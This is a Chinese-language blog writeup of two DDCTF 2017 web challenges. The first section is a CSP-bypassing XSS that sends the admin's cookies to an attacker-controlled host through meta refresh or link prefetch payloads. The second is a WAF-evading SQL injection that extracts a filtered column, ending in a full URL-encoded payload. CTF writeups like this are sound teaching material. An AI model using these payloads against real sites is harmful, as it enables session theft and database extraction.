DDCTF 2017 两道 Web 题 Writeup

上个月洒家参加了 DDCTF 玩了几把,其中有几道 Web 题还是很有意思的,在此做一下详细的记录。

绕过 CSP 的 XSS

分析

这题出得还是有点意思的。题目是一个 Message Board,可以给 admin 发送 message。发送完毕后提示 Success! wait for admin reading your message.,并不知道发送到哪了。同时题目设置了 CSP:

Content-Security-Policy: default-src 'self'; script-src 'self'

显然无法加载其他域的资源。这里我简单测试了一下,发现这样的可以有反应:

<meta http-equiv="refresh" content="0; url='http://IP/xxx.jpg?refresh'">

然后请求到自己的服务器,HTTP 请求会带有一个 Referer 头可以看到

http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=xxxhash....

这样的满足 CSP 的相同域的 URL,访问发现就是用户的原始输入。

思路

那么思路就很简单了,提交 JavaScript 代码,结合 meta 标签,就可以得到一个相同域的可控内容,可以作为 JavaScript 的 URL,然后用 <script> 标签引用就可以执行任意的 JavaScript。

这里有个小技巧,把 <meta> 标签加到注释里面,这样这个 URL 既是 HTML 又是合法 JavaScript:admin 直接访问这个 message 的时候是作为 HTML 解析,<meta> 标签获得 referer 的 URL。然后再弄到 <script> 标签 src 属性里面,就作为 JavaScript 解析,meta 标签被注释掉就不会影响 js。

做题过程

提交这个来拿 Cookie:

// <meta http-equiv="refresh" content="0; url='http://IP/xxx.jpg?refresh'">
var meta = document.createElement('meta');
meta.setAttribute('http-equiv','refresh');
meta.setAttribute('content',"0; url='http://IP/xxx.jpg?cookie="+encodeURIComponent(document.cookie)+"'");
document.body.append(meta);

得到 referer 的 URL:

http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=A

然后弄一个 <script> 标签:

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta http-equiv="refresh" content="2; url='http://IP/xxx.jpg?test3'">
</head>
<body>
<script src="http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=A"></script>
</body>
</html>

拿到 Cookie:

114.215.24.14 "-" "-" [20/May/2017:16:20:31 +0800] "GET /xxx.jpg?cookie=hit%3Dc2V0Y29va2llKCJmbGFnIiwgImZsYWd7eHh4eHh4eHh4eHh4eHh4eH0iLCB0aW1lKCkrMzYwMDAwMDAsICIvdDIvZjFhZ18xc19oM3IzIik7 HTTP/1.1" 200 15075 "http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=B" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
setcookie("flag", "flag{xxxxxxxxxxxxxxxx}", time()+36000000, "/t2/f1ag_1s_h3r3");

显然 flag 在 path 为 /t2/f1ag_1s_h3r3 的 Cookie 里面。那么用一个 iframe 就可以了。重复刚才的步骤,搞 JavaScript 代码:

// <meta http-equiv="refresh" content="0; url='http://IP/xxx.jpg?test4'">
var iframe = document.getElementById('iframe');
setTimeout(function(){
    var meta = document.createElement('meta');
    meta.setAttribute('http-equiv','refresh');
    meta.setAttribute('content',"0; url='http://IP/xxx.jpg?flag="+encodeURIComponent(iframe.contentDocument.cookie)+"'");
    document.body.append(meta);
},1000);

<script> 标签:

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta http-equiv="refresh" content="2; url='http://IP/xxx.jpg?test5'">
</head>
<body>
<iframe src="/t2/f1ag_1s_h3r3/" id="iframe"></iframe>
<script src="http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=C"></script>
</body>
</html>

拿到 flag:

114.215.24.14 "-" "-" [20/May/2017:16:40:58 +0800] "GET /xxx.jpg?flag=flag%3Dflag%257BDDCTF-82b6ac5623b04c8f823d29fa73875c9c%2540didichuxing.com%257D%3B%20hit%3Dc2V0Y29va2llKCJmbGFnIiwgImZsYWd7eHh4eHh4eHh4eHh4eHh4eH0iLCB0aW1lKCkrMzYwMDAwMDAsICIvdDIvZjFhZ18xc19oM3IzIik7 HTTP/1.1" 200 15075 "http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=D" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
"flag{DDCTF-82b6ac5623b04c8f823d29fa73875c9c@didichuxing.com}"

附:其他类似的利用方法:

搜到一篇文章 https://paper.seebug.org/91/,学到了 prefetch bypass CSP 的姿势。发送一个 <link rel="prefetch" href="http://IP/"> 就可以加载其他域的资源。那么 payload 就可以用:

var url = 'http://IP/?cookie=' + encodeURIComponent(document.cookie);
var n = document.createElement("link");
n.setAttribute("rel", "prefetch");
n.setAttribute("href", url);
document.head.appendChild(n);

让输入既是 HTML 又是合法 JavaScript,可以用上文的注释,也可以搞一个无关变量。

var a = '<link rel="prefetch" href="http://VPS-IP/">';

吐槽:Proof of Work 根本 proof 不了什么 work

发送的时候要求输入

verification code (substr(md5($_POST['code']),6,6)==='cbc72f') : 

这样的验证码。然而现在有现成的库 libproofofwork 可以飞速生成验证码,也可以自己手动生成字典来解决这个问题,对于老司机而言效果还不如传统图片验证码。

有了这种解决方法,为了节约时间同时让注意力集中在题目本身,可以写脚本辅助发送 payload。

各种防护的 SQL 注入

http://118.190.134.8/t1/news.php?id=1 这是一个简单的新闻网站,通过 URL 的 id 参数选择新闻。

初步探测

有三种返回状态:

根据 http://118.190.134.8/t1/news.php?id=1a 报错,可以猜测 SQL 语句类似

SELECT * FROM news WHERE id = 用户输入

其中用户输入并没有引号包裹。(这个经验可以通过手动执行 1 1a '1' '1a' 4 种 SQL 来得到)

在这个网站上证明这一点:

WAF 过滤

手工简单测试可以发现,过滤了:

'
空格
,
"
/
\
sleep

后来又发现过滤了 secret

允许的:

select
union
(
)
%09
*
from

绕过 WAF 的 trick

这道题主要就是绕过 WAF,先来写一下绕过 WAF 用到的 trick。以下假设数据库的表有 3 列。

过滤了空格

可以用 %09 %0a 这种绕过。

过滤了逗号

是个关键点。可以用 join 绕过:

select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)

相当于

select 1 as a,  2 as b, 3 as c

过滤了字段名 secret

使用别名替换原始字段名的 trick 绕过:

select f1, f2 from (select 1 as f1, 2 as f2, 3 as f3 from news where 1=2 union select * from news) as sb

就相当于从 news 表中查询前两列。

如果连表名都被干掉了?

TCTF 2017 决赛 web LuckyGame 就遇到了这种情况。在那道题的特殊情况下,可以用 select ... into ... 利用已有的 SQL 注入点把要的信息先搞到一个用户变量里面,然后再在别的地方查询这个变量就可以了。详情略。

做题过程

有了上面的绕过 WAF 方法,具体的过程如下(空格仍然保留,使用时自行替换成 %09):确定标题是第二列,内容是第三列:

0 union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c JOIN (select 4)d)

查询 user()version()

0 union select * from ((select 1)a JOIN (select user())b JOIN (select version())c JOIN (select 4)d)

猜测表名 news,字段 id title content:

0 union select * from ((select 1)a JOIN (select title from news where id=4)b JOIN (select 3)c JOIN (select 4)d)

显然一共有 4 个字段,还剩一个字段。手动猜了一下,flag 这种都不正确,于是读取 INFORMATION_SCHEMA.COLUMNS 表:

0 union select * from ((select 1)a JOIN (select column_name from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x6e657773 and ORDINAL_POSITION=4)b JOIN (select 3)c JOIN (select 4)d)

显示另一个字段是 secret(WTF??要知道就使劲猜了)。这时候想着直接用上文方法查询 secret 字段即可出 flag,但是试了一下直接被 WAF 过滤 secret 这个词,这里是第二个关键点。

用别名的方法绕过:

select concat(field_1,field_2,field_3,field_4) from (select 1 as field_1, 2 as field_2, 3 as field_3, 4 as f4 from news where 1=2 union select * from news) as sb

field_1 这样字段的别名代替原来的字段名。

由于逗号同时被过滤了,那么就需要再用上文的 trick,变为:

select f4 from ( select * from ((select 1 as f1)t1 join (select 2 as f2)t2 join (select 3 as f3)t3 join (select 4 as f4)t4  ) where 1=2 union select * from news where id=4) as sb

最终的 Payload:

0 union select * from ((select 1)a JOIN (select f4 from ( select * from ((select 1 as f1)t1 join (select 2 as f2)t2 join (select 3 as f3)t3 join (select 4 as f4)t4  ) where 1=2 union select * from news where id=4) as sb)b JOIN (select 3)c JOIN (select 4)d)

URL:

http://118.190.134.8/t1/news.php?id=0%09union%09select%09*%09from%09((select%091)a%09JOIN%09(select%09f4%09from%09(%09select%09*%09from%09((select%091%09as%09f1)t1%09join%09(select%092%09as%09f2)t2%09join%09(select%093%09as%09f3)t3%09join%09(select%094%09as%09f4)t4%09%09)%09where%091=2%09union%09select%09*%09from%09news%09where%09id=4)%09as%09sb)b%09JOIN%09(select%093)c%09JOIN%09(select%094)d)

扩展阅读


Comments

您可以匿名发表评论,无需登录 Disqus 账号,勾选“我更想匿名评论”后,姓名和电子邮件分别填写“匿名”和“someone@example.com”然后发表评论即可。您也可以登录 Disqus 账号后发表评论。您的评论可能需要经过我审核后才能显示。点赞投票按钮(Reactions)无需登录即可点击。Disqus 评论系统在中国大陆可能无法正常加载和使用。

License

Creative Commons License

本作品采用知识共享 署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).

Top